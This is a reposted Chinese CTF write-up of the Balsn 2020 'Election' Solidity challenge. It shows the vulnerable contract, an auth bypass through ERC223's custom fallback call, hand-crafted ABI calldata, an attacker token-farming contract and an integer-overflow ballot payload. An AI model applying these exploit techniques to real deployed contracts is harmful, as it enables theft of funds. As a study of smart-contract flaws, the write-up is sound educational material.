当前位置:主页 > 查看内容

balsn 2020 Election

发布时间:2021-08-11 00:00| 位朋友查看

简介:前言 开始刷历年的区块链ctf题目遇到了这个考察storage的题目学到了很多的东西。 WP 源码 pragma solidity 0.6 .12 ; pragma experimental ABIEncoderV2 ; interface IERC223 { function name ( ) external view returns ( string memory ) ; function symbo……

前言

开始刷历年的区块链ctf题目,遇到了这个考察storage的题目,学到了很多的东西。

WP

源码:

pragma solidity =0.6.12;
pragma experimental ABIEncoderV2;

interface IERC223 {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address account) external view returns (uint);
    function transfer(address to, uint value) external returns (bool);
    function transfer(address to, uint value, bytes memory data) external returns (bool);
    function transfer(address to, uint value, bytes memory data, string memory customFallback) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint value, bytes data);
}

contract ERC223 is IERC223 {
    string public override name;
    string public override symbol;
    uint8 public override decimals;
    uint public override totalSupply;
    mapping (address => uint) private _balances;
    //一个回调函数,不清楚咋回事,后面再看看。
    string private constant _tokenFallback = "tokenFallback(address,uint256,bytes)";


    constructor (string memory _name, string memory _symbol) public {
        name = _name;
        symbol = _symbol;
        decimals = 18;
    }

    function balanceOf(address account) public view override returns (uint) {
        return _balances[account];
    }

    function transfer(address to, uint value) public override returns (bool) {
        return _transfer(msg.sender, to, value, "", _tokenFallback);
    }

    function transfer(address to, uint value, bytes memory data) public override returns (bool) {
        return _transfer(msg.sender, to, value, data, _tokenFallback);
    }

    function transfer(address to, uint value, bytes memory data, string memory customFallback) public override returns (bool) {
        return _transfer(msg.sender, to, value, data, customFallback);
    }

    /* Helper functions */
    function _transfer(address from, address to, uint value, bytes memory data, string memory customFallback) internal returns (bool) {
        require(from != address(0), "ERC223: transfer from the zero address");
        require(to != address(0), "ERC223: transfer to the zero address");
        require(_balances[from] >= value, "ERC223: transfer amount exceeds balance");
        _balances[from] -= value;
        _balances[to] += value;

        //判断 to 是不是 一个合约。
        //如果是就调用这个合约的customFallback方法。
        if (_isContract(to)) {
            (bool success,) = to.call{value: 0}(
                abi.encodeWithSignature(customFallback, msg.sender, value, data)
            );
            assert(success);
        }
        emit Transfer(msg.sender, to, value, data);
        return true;
    }

    function _mint(address to, uint value) internal {
        //给address to 铸币。
        require(to != address(0), "ERC223: mint to the zero address");
        totalSupply += value;
        _balances[to] += value;
        emit Transfer(address(0), to, value, "");
    }

    function _isContract(address addr) internal view returns (bool) {
        uint length;
        assembly {
            length := extcodesize(addr)
        }
        return (length > 0);
    }
}

contract Election is ERC223 {
    struct Proposal {
        string name;
        string policies;
        bool valid;
    }
    struct Ballot {
        address candidate;
        uint votes;
    }

    uint randomNumber = 0;
    bool public sendFlag = false;   //6
    address public owner;           //6
    uint public stage;              //7 
    address[] public candidates;    //8
    bytes32[] public voteHashes;    //9
    mapping(address => Proposal) public proposals;    //10
    mapping(address => uint) public voteCount;       //11
    mapping(address => bool) public voted;
    mapping(address => bool) public revealed;

    event Propose(address, Proposal);
    event Vote(bytes32);
    event Reveal(uint, Ballot[]);
    event SendFlag(address);

    constructor() public ERC223("Election", "ELC") {
        owner = msg.sender;
        _setup();
    }

    modifier auth {
        require(msg.sender == address(this) || msg.sender == owner, "Election: not authorized");
        _;
    }

    function propose(address candidate, Proposal memory proposal) public auth returns (uint) {
        require(stage == 0, "Election: stage incorrect");
        require(!proposals[candidate].valid, "Election: candidate already proposed");
        candidates.push(candidate);
        proposals[candidate] = proposal;
        emit Propose(candidate, proposal);
        return candidates.length - 1;
    }

    function vote(bytes32 voteHash) public returns (uint) {
        require(stage == 1, "Election: stage incorrect");
        require(!voted[msg.sender], "Election: already voted");
        voted[msg.sender] = true;
        voteHashes.push(voteHash);
        emit Vote(voteHash);
        return voteHashes.length - 1;
    }

    function reveal(uint voteHashID, Ballot[] memory ballots) public {
        require(stage == 2, "Election: stage incorrect");
        require(!revealed[msg.sender], "Election: already revealed");
        require(voteHashes[voteHashID] == keccak256(abi.encode(ballots)), "Election: hash incorrect");
        revealed[msg.sender] = true;

        uint totalVotes = 0;
        for (uint i = 0; i < ballots.length; i++) {
            address candidate = ballots[i].candidate;
            uint votes = ballots[i].votes;
            totalVotes += votes;
            voteCount[candidate] += votes;
        }
        require(totalVotes <= balanceOf(msg.sender), "Election: insufficient tokens");
        emit Reveal(voteHashID, ballots);
    }

    function getWinner() public view returns (address) {
        require(stage == 3, "Election: stage incorrect");
        uint maxVotes = 0;
        address winner = address(0);
        for (uint i = 0; i < candidates.length; i++) {
            if (voteCount[candidates[i]] > maxVotes) {
                maxVotes = voteCount[candidates[i]];
                winner = candidates[i];
            }
        }
        return winner;
    }

    function giveMeMoney() public {
        require(balanceOf(msg.sender) == 0, "Election: you're too greedy");
        _mint(msg.sender, 1);
    }

    function giveMeFlag() public {
        require(msg.sender == getWinner(), "Election: you're not the winner");
        require(proposals[msg.sender].valid, "Election: no proposal from candidate");
        if (_stringCompare(proposals[msg.sender].policies, "Give me the flag, please")) {
            sendFlag = true;
            emit SendFlag(msg.sender);
        }
    }

    /* Helper functions */
    function _setup() public auth {
        address Alice = address(0x9453);
        address Bob = address(0x9487);
        _setStage(0);
        propose(Alice, Proposal("Alice", "This is Alice", true));
        propose(Bob, Proposal("Bob", "This is Bob", true));
        voteCount[Alice] = uint(-0x9453);
        voteCount[Bob] = uint(-0x9487);
        _setStage(1);
    }

    function _setStage(uint _stage) public auth {
        stage = _stage & 0xff;
    }

    //比较a 和 b 是否相等。
    function _stringCompare(string memory a, string memory b) internal pure returns (bool) {
        return keccak256(abi.encodePacked(a)) == keccak256(abi.encodePacked(b));
    }
    
    /* custom added functions */
    function testdeet(address to, uint value, bytes memory data, string memory customFallback) pure public returns (bytes memory){
        return abi.encodeWithSignature(customFallback, to, value, data);
    }

    function properEncode(address candidate, Proposal memory proposal, address t1, address t2) pure public {

    }

    function ballotEncode(Ballot[] memory ballots) pure public returns (bytes32){
    return keccak256(abi.encode(ballots));
    }
}

利用的是ERC223的代币,大致的把源码给看一遍,总的来说这是一个选举的合约,可以投票,选举,选取优胜者。根据giveMeFlag()函数可以知道,想要得到flag需要msg.sender是winner,而且proposals[msg.sender].valid,而且msg.sender的policies必须是Give me the flag, please。

再看源码的话,发现stage变量记录了选举的各个阶段,从0-3,但是只在初始化的时候调用了_setStage,将stage设置成1,之后并没有再处理了。
而且还存在auth的检验:

    modifier auth {
        require(msg.sender == address(this) || msg.sender == owner, "Election: not authorized");
        _;
    }

有几个函数都需要auth才可以操作,包括这个_setStage
而且,因为最后的getflag需要proposals中有我们自己,但是整个合约除了初始化的时候添加了2个人,后续就没有操作了,想要添加的话同样需要auth:

function propose(address candidate, Proposal memory proposal) public auth returns (uint) {

因此单就这个合约而言,应该是打不动了。
再看看它的父合约,发现了transfer函数有点怪,最后还有一个参数customFallback。发现可以任意调用to中的方法:

        if (_isContract(to)) {
            (bool success,) = to.call{value: 0}(
                abi.encodeWithSignature(customFallback, msg.sender, value, data)
            );
            assert(success);
        }

再加上用的是call,因此msg.sender是调用者本身,这样的话就可以绕过auth的限制,可以调用Election合约里的那些auth修饰的函数了。

但是还剩下一个问题是stage的变化,考虑到:

to.call{value: 0}(abi.encodeWithSignature(customFallback, msg.sender,value, data)

根据solidity的应用二进制接口说明这部分的知识,,如果customFallback_setStage的话,实际传过去的uint _stage,其实应该是msg.sender这部分的data,因此考虑到:

stage = _stage & 0xff;

需要4个合约,分别以0x00,0x01,0x02,0x03结尾的,之前也遇到过了,利用这个工具来寻找即可:
指定前后缀的合约

之后可以利用giveMeMoney函数来得到1块钱,然后transfer那里转一块钱的同时利用call进行设置:
在这里插入图片描述
stage的问题解决了,接下来就是propost函数的问题了:

function propose(address candidate, Proposal memory proposal) public auth returns (uint) {

首先需要注意这里的应用二进制接口是这样:

(address,(string,string,bool))

call的时候根据abi的那个函数处理后的进行执行,先是函数签名,然后是address的值,然后是第二个参数的偏移量,然后是第一个string的偏移量,第二个string的偏移量,bool的值,然后是第一个string的length,第一个string的data,第二个string的length,第二个string的data。
因此构造的话,我们需要控制第二个string和bool,根据相关的知识构造出:

    slot0     msg.sender/candidate
    slot1     offset of Proposal     0x0000000000000000000000000000000000000000000000000000000000000040
    slot2     offset of name         0x0000000000000000000000000000000000000000000000000000000000000060
    slot3     offset of plicies      0x00000000000000000000000000000000000000000000000000000000000000a0
    slot4     data of valid          0x0000000000000000000000000000000000000000000000000000000000000001
    slot5     length of name         0x0000000000000000000000000000000000000000000000000000000000000004
    slot6     data of name           0x66656e6700000000000000000000000000000000000000000000000000000000
    slot7     length of policies     0x0000000000000000000000000000000000000000000000000000000000000018
    slot8     data of policies       0x47697665206d652074686520666c61672c20706c656173650000000000000000

算上msg.sender随便搞一个,根据testdeet函数给出的格式应该是这样:

    0xa3c39c3a000000000000000000000000638f1eac34329584e7ab7a14e9af4fc22c55cf000000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000466656e6700000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001847697665206d652074686520666c61672c20706c656173650000000000000000

想要:

        if (_isContract(to)) {
            (bool success,) = to.call{value: 0}(
                abi.encodeWithSignature(customFallback, msg.sender, value, data)
            );
            assert(success);
        }

这部分abi.encodeWithSignature得到的值和我们构造的一样,分析一下容易得出,需要value是64,data是0x0000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000466656e6700000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001847697665206d652074686520666c61672c20706c656173650000000000000000

因此先要给msg.sender 64块钱。假设我们的原本的账号是要成为winner的,因此先给他转钱:

contract Feng{
    struct Ballot {
        address candidate;
        uint votes;
    }
    
    Election public target = Election(0x66E3f6a4d626bde2df8B6999CfE71ce6F3e166Cc);
    function getMoney(uint max) public {
        for(uint i = 0; i < max; i++){
            Money m = new Money();
            m.getMoney(address(this));
        }
        target.transfer(0x7D11f36fA2FD9B7A4069650Cd8A2873999263FB8, max, "", "");
    }
    function tokenFallback(address _v1,uint256  _v2,bytes memory  _v3) public{
        
    }
    //data=0x0000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000466656e6700000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001847697665206d652074686520666c61672c20706c656173650000000000000000;
}

分2次,每次32块钱,如果一次转太多的话就会gas超限制了。
之后再攻击,记得stage是0:
在这里插入图片描述
这样就添加了proposal:
在这里插入图片描述
然后根据vote函数和reveal函数的逻辑,先利用ballotEncode函数算出voteHash。
这里构造的Ballot[]是这样:

[["0x7D11f36fA2FD9B7A4069650Cd8A2873999263FB8","0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"],["0x0000000000000000000000000000000000009453","0x01"]]

自己的账号,即未来的winner选票是2**255-1,另外一个人是1,因为这里:

            totalVotes += votes;
            voteCount[candidate] += votes;
        }
        require(totalVotes <= balanceOf(msg.sender), "Election: insufficient tokens");

最后可以利用整形溢出,就不再需要我们额外再给msg.sender转钱了,虽然其实再转钱也可以,所以这题薅羊毛或者整数上溢都行。
在这里插入图片描述
再vote过去;
在这里插入图片描述
选票就有了:
在这里插入图片描述
注意这些操作都需要改变stage。
再调用reveal函数传过去,计算选票:
在这里插入图片描述
然后再giveMeFlag即可。

再放一下当时分析写上注释后的源码:

pragma solidity =0.6.12;
pragma experimental ABIEncoderV2;

interface IERC223 {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address account) external view returns (uint);
    function transfer(address to, uint value) external returns (bool);
    function transfer(address to, uint value, bytes memory data) external returns (bool);
    function transfer(address to, uint value, bytes memory data, string memory customFallback) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint value, bytes data);
}

contract ERC223 is IERC223 {
    string public override name;
    string public override symbol;
    uint8 public override decimals;
    uint public override totalSupply;
    mapping (address => uint) private _balances;
    //一个回调函数,不清楚咋回事,后面再看看。
    string private constant _tokenFallback = "tokenFallback(address,uint256,bytes)";


    constructor (string memory _name, string memory _symbol) public {
        name = _name;
        symbol = _symbol;
        decimals = 18;
    }

    function balanceOf(address account) public view override returns (uint) {
        return _balances[account];
    }

    function transfer(address to, uint value) public override returns (bool) {
        return _transfer(msg.sender, to, value, "", _tokenFallback);
    }

    function transfer(address to, uint value, bytes memory data) public override returns (bool) {
        return _transfer(msg.sender, to, value, data, _tokenFallback);
    }



    //利用call可以绕过auth,然后可以调用任意的函数,尝试控制参数。
    //
    function transfer(address to, uint value, bytes memory data, string memory customFallback) public override returns (bool) {
        return _transfer(msg.sender, to, value, data, customFallback);
    }

    /* Helper functions */
    function _transfer(address from, address to, uint value, bytes memory data, string memory customFallback) internal returns (bool) {
        require(from != address(0), "ERC223: transfer from the zero address");
        require(to != address(0), "ERC223: transfer to the zero address");
        require(_balances[from] >= value, "ERC223: transfer amount exceeds balance");
        _balances[from] -= value;
        _balances[to] += value;

        //判断 to 是不是 一个合约。
        //如果是就调用这个合约的customFallback方法。
        if (_isContract(to)) {
            (bool success,) = to.call{value: 0}(
                abi.encodeWithSignature(customFallback, msg.sender, value, data)
            );
            assert(success);
        }
        emit Transfer(msg.sender, to, value, data);
        return true;
    }

    function _mint(address to, uint value) internal {
        //给address to 铸币。
        require(to != address(0), "ERC223: mint to the zero address");
        totalSupply += value;
        _balances[to] += value;
        emit Transfer(address(0), to, value, "");
    }

    function _isContract(address addr) internal view returns (bool) {
        uint length;
        assembly {
            length := extcodesize(addr)
        }
        return (length > 0);
    }
}

contract Election is ERC223 {
    struct Proposal {
        string name;
        string policies;
        bool valid;
    }
    struct Ballot {
        address candidate;
        uint votes;
    }

    uint randomNumber = 0;
    bool public sendFlag = false;   //6
    address public owner;           //6
    uint public stage;              //7 
    address[] public candidates;    //8
    bytes32[] public voteHashes;    //9
    mapping(address => Proposal) public proposals;    //10
    mapping(address => uint) public voteCount;       //11
    mapping(address => bool) public voted;
    mapping(address => bool) public revealed;

    event Propose(address, Proposal);
    event Vote(bytes32);
    event Reveal(uint, Ballot[]);
    event SendFlag(address);



    /*
    考虑到_transfer里调用了call,而且call是让msg.sender是调用者,因此可以绕过auth。
    这里先构建一下攻击合约试试。
    */

    constructor() public ERC223("Election", "ELC") {
        owner = msg.sender;
        _setup();
    }

    modifier auth {
        require(msg.sender == address(this) || msg.sender == owner, "Election: not authorized");
        _;
    }

    //难点就是构造proposal了,想想。
    /*
    struct Proposal {
        string name;    任意
        string policies;   0x47697665206d652074686520666c61672c20706c65617365
        bool valid;        1
    }
    (bool success,) = to.call{value: 0}(
        abi.encodeWithSignature(customFallback, msg.sender, value, data)
    );
    slot0     msg.sender/candidate
    slot1     offset of Proposal     0x0000000000000000000000000000000000000000000000000000000000000040
    slot2     offset of name         0x0000000000000000000000000000000000000000000000000000000000000060
    slot3     offset of plicies      0x00000000000000000000000000000000000000000000000000000000000000a0
    slot4     data of valid          0x0000000000000000000000000000000000000000000000000000000000000001
    slot5     length of name         0x0000000000000000000000000000000000000000000000000000000000000004
    slot6     data of name           0x66656e6700000000000000000000000000000000000000000000000000000000
    slot7     length of policies     0x0000000000000000000000000000000000000000000000000000000000000018
    slot8     data of policies       0x47697665206d652074686520666c61672c20706c656173650000000000000000

    0x0000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000466656e6700000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001847697665206d652074686520666c61672c20706c656173650000000000000000
    0xede81b0b000000000000000000000000638f1eac34329584e7ab7a14e9af4fc22c55cf000000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000466656e6700000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001847697665206d652074686520666c61672c20706c656173650000000000000000
    0xa3c39c3a000000000000000000000000638f1eac34329584e7ab7a14e9af4fc22c55cf000000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000466656e6700000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001847697665206d652074686520666c61672c20706c656173650000000000000000
    propose(address, Proposal)
    */
    function propose(address candidate, Proposal memory proposal) public auth returns (uint) {
        require(stage == 0, "Election: stage incorrect");
        require(!proposals[candidate].valid, "Election: candidate already proposed");
        candidates.push(candidate);
        proposals[candidate] = proposal;
        emit Propose(candidate, proposal);
        return candidates.length - 1;
    }

    function vote(bytes32 voteHash) public returns (uint) {
        require(stage == 1, "Election: stage incorrect");
        require(!voted[msg.sender], "Election: already voted");
        voted[msg.sender] = true;
        //bytes32[] public voteHashes;
        voteHashes.push(voteHash);
        emit Vote(voteHash);
        return voteHashes.length - 1;
    }



    /*
    struct Ballot {
        address candidate;
        uint votes;
    }

    */
    function reveal(uint voteHashID, Ballot[] memory ballots) public {
        require(stage == 2, "Election: stage incorrect");
        require(!revealed[msg.sender], "Election: already revealed");
        require(voteHashes[voteHashID] == keccak256(abi.encode(ballots)), "Election: hash incorrect");
        revealed[msg.sender] = true;

        uint totalVotes = 0;
        for (uint i = 0; i < ballots.length; i++) {
            address candidate = ballots[i].candidate;
            uint votes = ballots[i].votes;
            totalVotes += votes;
            voteCount[candidate] += votes;
        }
        require(totalVotes <= balanceOf(msg.sender), "Election: insufficient tokens");
        emit Reveal(voteHashID, ballots);
    }

    function getWinner() public view returns (address) {
        require(stage == 3, "Election: stage incorrect");
        uint maxVotes = 0;
        address winner = address(0);
        for (uint i = 0; i < candidates.length; i++) {
            if (voteCount[candidates[i]] > maxVotes) {
                maxVotes = voteCount[candidates[i]];
                winner = candidates[i];
            }
        }
        return winner;
    }

    //balance不是问题,此处可以薅羊毛。
    function giveMeMoney() public {
        require(balanceOf(msg.sender) == 0, "Election: you're too greedy");
        _mint(msg.sender, 1);
    }

    function giveMeFlag() public {
        require(msg.sender == getWinner(), "Election: you're not the winner");
        require(proposals[msg.sender].valid, "Election: no proposal from candidate");
        if (_stringCompare(proposals[msg.sender].policies, "Give me the flag, please")) {
            sendFlag = true;
            emit SendFlag(msg.sender);
        }
    }

    /* Helper functions */
    function _setup() public auth {
        address Alice = address(0x9453);
        address Bob = address(0x9487);
        _setStage(0);
        propose(Alice, Proposal("Alice", "This is Alice", true));
        propose(Bob, Proposal("Bob", "This is Bob", true));
        voteCount[Alice] = uint(-0x9453);
        voteCount[Bob] = uint(-0x9487);
        _setStage(1);
    }
    //stage可控,但是这部分是由msg.sender的末尾控制的,因此这部分需要用特定的address来搞。
    //生成以01,02,03结尾的地址即可。
    //至此stage可控。
    function _setStage(uint _stage) public auth {
        stage = _stage & 0xff;
    }

    //比较a 和 b 是否相等。
    function _stringCompare(string memory a, string memory b) internal pure returns (bool) {
        return keccak256(abi.encodePacked(a)) == keccak256(abi.encodePacked(b));
    }
    
    /* custom added functions */
    function testdeet(address to, uint value, bytes memory data, string memory customFallback) pure public returns (bytes memory){
        return abi.encodeWithSignature(customFallback, to, value, data);
    }

    function properEncode(address candidate, Proposal memory proposal, address t1, address t2) pure public {

    }
    

    //[["0x7D11f36fA2FD9B7A4069650Cd8A2873999263FB8","0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"],["0x0000000000000000000000000000000000009453","0x01"]]
    function ballotEncode(Ballot[] memory ballots) pure public returns (bytes32){
    return keccak256(abi.encode(ballots));
    }
}
//47697665206d652074686520666c61672c20706c65617365

总结

这题相对来说代码比较长,需要思考前后的逻辑。而且abi.encodeWithSignature那里的构造也是学到了很多,关于struct在应用二进制接口那里应该写成元组也是学到了。

;原文链接:https://blog.csdn.net/rfrder/article/details/115873135
本站部分内容转载于网络,版权归原作者所有,转载之目的在于传播更多优秀技术内容,如有侵权请联系QQ/微信:153890879删除,谢谢!

推荐图文


随机推荐